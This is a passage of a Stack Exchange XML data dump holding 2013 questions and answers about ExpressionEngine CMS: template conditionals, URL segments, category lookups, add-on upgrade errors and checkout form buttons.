3.0" />
  <row Id="9489" PostTypeId="2" ParentId="9486" CreationDate="2013-04-18T18:40:40.780" Score="1" Body="&lt;p&gt;You are, of course, asking a rather subjective question.  One man's meat is another man's poison, etc.  Having said that, it would be interesting to get a dialog going on this subject, so I will start it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been using EE since the early days as well, and have built quite a few sites using both 1.x and 2.x  My overall opinion of the technology and the company is that both are mediocre at best.  Doesn't really suck, but neither does it shine.  Having said that, I am not aware of anything that is so much better (for my needs) that I am ready to jump ship.  I am currently building a site using Craft, which looks to have real promise, but it is still early days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The platform is reasonably stable, but seems way overpriced given it's capabilities and the lack of support, unless you want to pay an additional $49 a month!  There are many incredibly frustrating things that seem completely out of line for a $300 piece of software - absolutely crap WYSIWYG editor (for clients), horrid image management, hellish membership management, having to jump through hoops to create common SEO metadata, and amateurish documentation.  Most of the items on the complaint list can be addressed with add-ons,but that drives up the cost considerably and you can easily end up spending $500 to $600, plus incur the burden of dealing with multiple vendors for stuff that should be part of the base application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I won't even get into the frustration with EE's confounding template parsing issues that will have you ripping out your hair and wasting huge amounts of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addressing your question - if I were in your situation I would definitely look elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Roi &lt;/p&gt;&#xA;" OwnerUserId="564" LastActivityDate="2013-04-18T18:40:40.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9490" PostTypeId="2" ParentId="9486" CreationDate="2013-04-18T19:09:30.107" Score="2" Body="&lt;p&gt;I don't know if EE's going to fade away; I think that even now, it's difficult to find developers who can maintain the existing systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to the &quot;shag/marry/avoid&quot; question: that all depends on way too many factors. There is no &quot;one best CMS&quot;, there's &quot;the CMS that's best for you.&quot; Only you can really answer that question, because only you know the project scope and outlines and your own skill level / comfort level with maintaining it / the budget of your client(s) and their needs.&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-04-18T19:09:30.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9491" PostTypeId="1" AcceptedAnswerId="9492" CreationDate="2013-04-18T19:10:47.580" Score="2" ViewCount="398" Body="&lt;p&gt;Not sure if I doing it wrong, my basic url goes like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'site.dev/scooter' - I used {segment_1_category_id} and I get the value of &quot;8&quot; which is correct&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If my url is 'site.dev/8' and I used {segment_1_category_name} and I get no results? I tried all the variables on the docs, nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs did not say this extension only works with category_url_title&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can do it with category loop with {segment_1}, etc etc. If my url goes like this&#xA;'site.dev/scooter-unicycle'&#xA;My result is 8 and 9 which is correct. This is reason why I am using Low Seg2Cat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not a duplicate, I have checked other querys.&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="422" LastEditDate="2013-04-18T19:26:15.913" LastActivityDate="2013-04-18T19:26:15.913" Title="Gathering category_id value from segment - Low Seg2cat" Tags="|categories|segments|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9492" PostTypeId="2" ParentId="9491" CreationDate="2013-04-18T19:25:30.567" Score="1" Body="&lt;p&gt;Low Seg2Cat only matches on the category_url_title. This is why your first example works and your second example inputting the category ID doesn't.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('cat_url_title, '. implode(', ', array_keys($this-&amp;gt;fields)))&#xA;                         -&amp;gt;from('categories')&#xA;                         -&amp;gt;where('site_id', $this-&amp;gt;site_id)&#xA;                         -&amp;gt;where_in('cat_url_title', $segment_array);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure on what you're actually trying to do though? If you have a particular problem you need to solve then someone may be able to put forward a suggestion of how to do it with Low Seg2Cat or an alternative solution.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T19:25:30.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9493" PostTypeId="1" CreationDate="2013-04-18T19:38:38.987" Score="0" ViewCount="885" Body="&lt;p&gt;Is it possible to modify the {auto_path} variable to return the category-url instead of the page-title-url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the search results url, set in channel -&gt; preferences, is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    http://example.com/template/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;can the {auto_path} return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    http://example.com/template/category/category-url/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is using &quot;exp:search:simple_form&quot;. I have the results  displayed in a template using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:search:search_results}  &#xA;    &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;  &#xA;    {/exp.search.search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use the {path} variable, would the correct format be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;a href=&quot;{path=&quot;site_url/template/category(?)/category_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I get the &quot;/category/&quot; url indicator inserted in the url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I close?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {!--more stuff--}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I made a mistake above, which I corrected; the fist segment of the url isn't the channel, it's the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created the site with six template groups - just using the index page for each group; a conditional for &quot;{segment_1}&quot; - the template which selects the channel &amp;amp; &quot;{segment_3}&quot; - the category - which loads sidebar snippets based on the result of the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The {path} variable should return:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    http://example.com/template/category/category-url/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1329" LastEditorUserId="1329" LastEditDate="2013-04-19T00:56:37.057" LastActivityDate="2015-06-29T20:13:42.947" Title="{auto_path} linking to category-url instead of page-entry-url?" Tags="|category-name|configuration-variables|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9494" PostTypeId="2" ParentId="9486" CreationDate="2013-04-18T19:40:45.433" Score="1" Body="&lt;p&gt;It's a subjective question but I think it's still good to have a little opinion in the forums. Naturally you'd get mostly biased answers here though. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've worked and still regularly work with many CMS' but in my honest opinion if I had a big project with a growing scope then I wouldn't even consider using another CMS. It can handle it all and allow you to architect it from day 1 to fit into your needs rather than you having to fit into the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE is &lt;em&gt;very&lt;/em&gt; mature and the community is thriving. Being commercial and having commercial addons is a huge advantage as it means that people's livelihoods are on the line in ensuring their addons and the system itself is always kept up to date and progressing forward. You don't get that with various other open source CMS'. Nor do you get the level of support that EE themselves offer along with that which you'll find here in the community. If you don't know the answer to something you can bet your bottom dollar someone else will and will be more than happy to offer suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't think of anything better to use knowing I'm working with a system that allows me to do virtually anything in the way &lt;strong&gt;I&lt;/strong&gt; want to do it whilst having a willing community of people there to help out when I have a question or get stuck. In addition to official support for EE with a guaranteed response time and commercial addons guaranteeing a high level of quality and support you can go into each project fearless! :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Plus, for only $50 to upgrade what's the lose??)&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-18T22:43:47.750" LastActivityDate="2013-04-18T22:43:47.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9495" PostTypeId="2" ParentId="9493" CreationDate="2013-04-18T20:13:54.297" Score="2" Body="&lt;p&gt;auto_path will always append the URL title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This parameter is replaced with the URL to the entry with the URL Title appended to the end. Unlike other “path” variables, this variable does not require the Template_Group/Template to be specified. Instead, the path will automatically be determined by the Search Results URL setting for the channel in Channel Management.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to link somewhere specifically then use the &lt;code&gt;{path}&lt;/code&gt; variables and follow the template_group/template pattern. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like you're using the Search module but I'm not exactly clear on what you're trying to do. If you care to elaborate a little more than I may be able to offer a suggestion if the &lt;code&gt;{path}&lt;/code&gt; variable doesn't do what you need it to.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T20:13:54.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9497" PostTypeId="1" AcceptedAnswerId="9506" CreationDate="2013-04-18T20:43:44.313" Score="0" ViewCount="271" Body="&lt;p&gt;feeling little dumb for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is to make my list of checkboxes checked depending on {segment_5}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value is '6', that is easy with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;categories[]&quot; value=&quot;{category_id}&quot; {if '{segment_5}' == '{category_id}'}checked='checked'{/if} /&amp;gt; {category_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am in a situation where my url goes like this 'site.dev/search/geo/n31lj/6-7' from doing a search. &lt;br /&gt;Look at {segment_5}, the value is '6-7', multiple categories have been selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I tell the {category_id} to pick up 6 or 7 inside the {segment_5} with conditionals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at this link, I have tried but it not possible. &lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#comment_box_9433&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#comment_box_9433&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1350" LastActivityDate="2013-04-19T16:14:35.600" Title="'Fuzzy' conditionals" Tags="|categories|conditionals|segments|advanced-conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9498" PostTypeId="2" ParentId="9497" CreationDate="2013-04-18T22:19:25.480" Score="2" Body="&lt;p&gt;There are a several ways really. You could use regular PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = &quot;{segment_5}&quot;; &#xA;&#xA;$category = explode(&quot;-&quot;, $categories);&#xA;&#xA;echo &quot;category 1 = $category[0]&quot;; // 5&#xA;echo &quot;Category 2 = $category[1]&quot;; // 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But beware of parse order when integrating with PHP tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative you could always have some &lt;a href=&quot;http://devot-ee.com/add-ons/phpstringfun&quot; rel=&quot;nofollow&quot;&gt;string fun&lt;/a&gt;. You can take advantage of the full array of PHP string functions such as explode() and split the URL segment by the dash creating an array values (5 and 6 in your case).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun function=&quot;explode&quot; par1=&quot;-&quot; separator=&quot;|&quot; reverse=&quot;y&quot;}&#xA;    {segment_5}&#xA;{/exp:phpstringfun} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because segment variables are parsed very early in the rendering of the template this should work fine. I'm exploding segment 5 of the URL by the dash (-) and then replacing it with a pipe (|) character. You could then use that in your query to test for either 5 OR 6 by wrapping that in a &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; variable to call later on in your condtional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;categories&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:phpstringfun function=&quot;explode&quot; par1=&quot;-&quot; separator=&quot;|&quot; reverse=&quot;y&quot;}{segment_5}{/exp:phpstringfun} &#xA;{/exp:stash:set}&#xA;&#xA;{if segment_5 == '{exp:stash:categories}'}&#xA;    checked='checked'&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will mark it as checked if &lt;code&gt;segment_5 == '5|6'&lt;/code&gt;, if that's what you want. Once you have it broken up though you can handle it in many ways.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-18T22:19:25.480" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9499" PostTypeId="1" AcceptedAnswerId="9502" CreationDate="2013-04-19T01:24:38.227" Score="1" ViewCount="624" Body="&lt;p&gt;Never seen this before so I'm guessing it will probably be something small I missed. I have a title_permalink that is generating a url with the entry_id at the end instead of the url_title. The enewsletter_articles tag is a Playa field...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generated url is &lt;strong&gt;site.com/enewsletter/article/255&lt;/strong&gt;&#xA;it should be &lt;strong&gt;site.com/enewseltter/article/article-url-title&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='enewsletter_issue' disable='categories|member_data|pagination' limit=&quot;1&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot;} &#xA;    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;    {enewsletter_articles}&#xA;        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        {summary}&#xA;        &amp;lt;a href=&quot;{permalink=enewsletter/article}&quot;&amp;gt;&amp;amp;raquo; Read More&amp;lt;/a&amp;gt;&#xA;    {/enewsletter_articles}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-04-19T04:46:06.027" Title="title_permalink is showing entry number instead of url_title" Tags="|playa|url|url-title|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9500" PostTypeId="1" CreationDate="2013-04-19T02:01:37.893" Score="0" ViewCount="1070" Body="&lt;p&gt;I have a page where I am allowing the client to choose which channel entries are displayed on the page, which is controlled by a field with checkboxes on the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If rides is checked, I need to display entries from the ride channel. If rides and gear is checked, I need to display entries from both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never had to use checkboxes as a field before, and am unsure how to display content only if a specific checkbox is checked. The values of my checkboxes are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rides&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The name of my custom checkbox field is &lt;code&gt;choose_entries&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; limit=&quot;1&quot; url_title=&quot;{segment_1}&quot;}&#xA;            {if choose_entries == &quot;Rides&quot;}&#xA;            &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Rides&amp;lt;span class=&quot;green&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {embed=&quot;views/.rides&quot;}&#xA;                        &amp;lt;img src=&quot;content/img/bike.png&quot; /&amp;gt;&#xA;            {/if}&#xA;            {if choose_entries == &quot;Gear&quot;}&#xA;                        &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Gear&amp;lt;span class=&quot;orange&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {embed=&quot;views/.gear&quot;}&#xA;            {/if}&#xA;            {if choose_entries == &quot;Groups&quot;}&#xA;                        &amp;lt;h2 class=&quot;section-title&quot;&amp;gt;Groups&amp;lt;span class=&quot;blue&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            {embed=&quot;views/.groups&quot;}&#xA;            {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure my conditionals are incorrect at present, I need some help getting them to work properly. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in case it's needed, here is an example of one of the embedded templates, but they display properly on their own.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;rides&quot; orderby=&quot;date&quot; dynamic=&quot;no&quot; sort=&quot;asc&quot; limit=&quot;5&quot; show_future_entries=&quot;yes&quot;}&#xA;&amp;lt;article class=&quot;rides left&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;{ride_img:excerpt}&quot; alt=&quot;{title}, ${event:price}&quot; /&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p class=&quot;lead&quot;&amp;gt;${event:price}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{ride_excerpt}&amp;lt;/p&amp;gt;&#xA;    {if &quot;{event:can_purchase}&quot; == &quot;y&quot;}&#xA;        &amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a class=&quot;blue&quot; href=&quot;{path=checkout/quantity/{event:id}}&quot;&amp;gt;Book now&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {if:else}&#xA;        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Tickets are not available&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/article&amp;gt;  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: I am using Pages and Better Pages to make use of a template across multiple pages, if that complicates matters any.&lt;/p&gt;&#xA;" OwnerUserId="525" LastEditorUserId="525" LastEditDate="2013-04-19T21:01:28.950" LastActivityDate="2013-04-19T21:01:28.950" Title="Display entries from channel if checked on publish page" Tags="|channel-entries|custom-fields|checkbox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9501" PostTypeId="2" ParentId="9500" CreationDate="2013-04-19T04:10:09.637" Score="3" Body="&lt;p&gt;The problem in your code stems from the placement of your conditional. Because you haven't started with a channel:entries call EE has no idea what choose_entries is. But you cant put a channel:entries call within another (nested) so you would need to do something like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries (any relevant parameters to pull the correct entry)}&#xA;  {if choose_entries == &quot;Rides&quot;}&#xA;    {embed=&quot;includes/.rides&quot;}&#xA;  {/if}&#xA;  {if choose_entries == &quot;Gear&quot;}&#xA;    {embed=&quot;includes/.gear&quot;}&#xA;  {/if}&#xA;  {if choose_entries == &quot;Groups&quot;}&#xA;    {embed=&quot;includes/.groups&quot;}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the embed calls if you are not familiar with them 'includes' is the template group and '.rides' is the template. I like to use a . before any template i dont want to be accessible via the web. On the embeded templates just add your chunk of specific code as above ie.&lt;/p&gt;&#xA;&#xA;Rides&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries channel=&quot;rides&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; limit=&quot;5&quot; show_future_entries=&quot;yes&quot;}&#xA;                    &amp;lt;article class=&quot;rides left&quot;&amp;gt;&#xA;                        &amp;lt;img src=&quot;{ride_image:excerpt}&quot; alt=&quot;{title}, ${ride_price}&quot; /&amp;gt;&#xA;                        &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;p class=&quot;lead&quot;&amp;gt;${ride_price}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;{ride_excerpt}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p class=&quot;read-more&quot;&amp;gt;&amp;lt;a class=&quot;blue&quot; href=&quot;/san-diego&quot;&amp;gt;Learn more about this ride &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;  &#xA;        {/exp:channel:entries}&#xA;                    &amp;lt;img src=&quot;content/img/bike.png&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense. There is at least one other way you could do this by passing info to a single embedded template but this way is the easiest to explain.&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-04-19T04:10:09.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9502" PostTypeId="2" ParentId="9499" CreationDate="2013-04-19T04:46:06.027" Score="3" Body="&lt;p&gt;You are using {permalink=enewsletter/article} in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#permalink&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#permalink&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That will return an id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want is {title_permalink=&quot;enewsletter/article&quot;}&lt;/p&gt;&#xA;" OwnerUserId="1283" LastActivityDate="2013-04-19T04:46:06.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9503" PostTypeId="2" ParentId="9373" CreationDate="2013-04-19T05:57:06.923" Score="1" Body="&lt;p&gt;To submit the order, your &quot;Place Order&quot; button needs to have &lt;code&gt;name=&quot;submit&quot;&lt;/code&gt; attached to it. This is so that Store can distinguish it from simply an &quot;Update Totals&quot; button, or a &quot;Next Step&quot; button. Currently it's being treated as an &quot;Update Totals&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in your checkout template, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button id=&quot;checkout_submit&quot;&amp;gt;Place Order&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button id=&quot;checkout_submit&quot; name=&quot;submit&quot;&amp;gt;Place Order&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or alternatively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; id=&quot;checkout_submit&quot; name=&quot;submit&quot; value=&quot;Place Order&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Documentation here: &lt;a href=&quot;https://exp-resso.com/docs/store/checkout_tag.html#submitting_orders&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/store/checkout_tag.html#submitting_orders&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-04-19T05:57:06.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9504" PostTypeId="1" AcceptedAnswerId="9511" CreationDate="2013-04-19T09:40:04.347" Score="3" ViewCount="229" Body="&lt;p&gt;How can I increase the number of custom Order Fields in Expresso Store? There are 9 by default but I need more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="28" LastEditDate="2013-04-19T14:10:57.577" LastActivityDate="2013-04-21T02:43:46.870" Title="How can I increase the number of custom Order Fields in Expresso Store?" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9505" PostTypeId="1" CreationDate="2013-04-19T09:45:57.250" Score="2" ViewCount="444" Body="&lt;p&gt;I upgraded to the latest version of playa (unsucessfully with Upgrader then manuallly). The module and field type are showing as 4.4.1 ok but I am getting php errors on all pages that contain playa fileds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'rel.parent_is_draft' in 'where clause'&#xA;&#xA;SELECT DISTINCT(rel.child_entry_id) AS entry_id FROM exp_playa_relationships     &#xA;rel WHERE rel.parent_entry_id = 5416 AND rel.parent_is_draft = 0 AND&#xA;rel.parent_field_id = 188 ORDER BY rel.rel_order&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-04-19T11:48:25.507" Title="Playa php errors after upgrade to 4.4.1" Tags="|playa|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9506" PostTypeId="2" ParentId="9497" CreationDate="2013-04-19T10:06:15.853" Score="1" Body="&lt;p&gt;== EDIT ==&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;numbers&quot; parse_tags=&quot;yes&quot;}&#xA;    {exp:low_replace find=&quot;-&quot; replace=&quot;|&quot;}{segment_4}{/exp:low_replace}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:categories channel=&quot;items&quot; category_group=&quot;3&quot;}&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;categories[]&quot; value=&quot;{category_id}&quot; {exp:loopee foreach=&quot;{exp:stash:numbers}&quot; parse=&quot;inward&quot;}{if category_id == {loopee_value}}checked='checked'{/if}{/exp:loopee} /&amp;gt; {category_name}&amp;lt;br /&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does exactly the job I wanted to do. Converting any segment with values like &lt;code&gt;5-19-11&lt;/code&gt; into individual values to be checked with a conditional in order to make a checkbox checked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins required &lt;br/&gt;&#xA;&lt;strong&gt;Stash &lt;br/&gt;&#xA;Low replace &lt;br/&gt;&#xA;Loopee&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1350" LastEditorUserId="1350" LastEditDate="2013-04-19T16:14:35.600" LastActivityDate="2013-04-19T16:14:35.600" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9507" PostTypeId="1" AcceptedAnswerId="9642" CreationDate="2013-04-19T10:25:15.467" Score="1" ViewCount="69" Body="&lt;p&gt;I have a clients site which has been working fine for a year or so, I have been doing a few updates to it over the last few days, now suddenly 'Saving Templates to File' has broken. If I make any changes to the templates via the control panel or via my html editor and save it wipes the whole of the file. The only way I can make any changes is to do them via the control panel and make sure 'Save Template to File' is unchecked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked and the templates folder is set to 777, and the location of that folder hasn't changed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any advice? or a solution?&#xA;Thanks in advanced.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2013-04-24T12:28:36.373" Title="Save templates to file suddenly stopped working?" Tags="|templates|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
